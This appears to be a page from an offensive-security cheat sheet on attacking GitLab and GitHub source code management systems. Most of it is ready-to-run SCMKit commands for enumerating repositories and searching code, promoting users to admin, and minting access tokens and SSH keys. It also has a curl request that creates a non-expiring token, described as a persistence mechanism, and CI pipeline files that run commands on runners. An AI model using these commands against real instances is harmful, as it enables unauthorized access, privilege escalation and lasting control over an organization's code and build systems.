Source Code Management

Source Code Management #

Enumeration #

Using SCMKit - Source Code Management Attack Toolkit

  • Discover repositories being used in a particular SCM system
    SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local
    SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local
    
  • Search for repositories by repository name in a particular SCM system
    SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"
    SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"
    
  • Search for code containing a given keyword in a particular SCM system
    SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term"
    SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"
    
  • Search for files in repositories containing a given keyword in the file name in a particular SCM system
    SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term"
    SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"
    
  • List snippets owned by the current user in GitLab
    SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local
    SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local
    
  • List all GitLab runners available to the current user in GitLab
    SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local
    SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local
    
  • Get the assigned privileges to an access token being used in a particular SCM system
    SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local
    
  • Promote a normal user to an administrative role in a particular SCM system
    SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName
    SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName
    SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName
    
  • Create/List/Delete an access token to be used in a particular SCM system
    SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName
    SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName
    SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID
    SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser
    SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser
    
  • Create/List an SSH key to be used in a particular SCM system
    SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key"
    SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key"
    SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://github.something.local
    SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://github.something.local
    SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID
    SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID
    

Personal Access Token #

Create a PAT (Personal Access Token) as a persistence mechanism for the Gitlab instance.

curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=user-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens"

Exploit Gitlab CI/Github Actions #

  • Gitlab-CI “Command Execution” example: .gitlab-ci.yml
    stages:
        - test
    
    test:
        stage: test
        script:
            - |
                            whoami
        parallel:
            matrix:
                - RUNNER: VM1
                - RUNNER: VM2
                - RUNNER: VM3
        tags:
            - ${RUNNER}
    
  • Github Action “Command Execution” example: .github/workflows/example.yml
    name: example
    on:
      workflow_dispatch:
      push:
        branches: [ main ]
      pull_request:
        branches: [ main ]
    
    jobs:
      build:
        runs-on: windows-2019
    
        steps:
          - name: Execute
            run: |
                        whoami
    

References #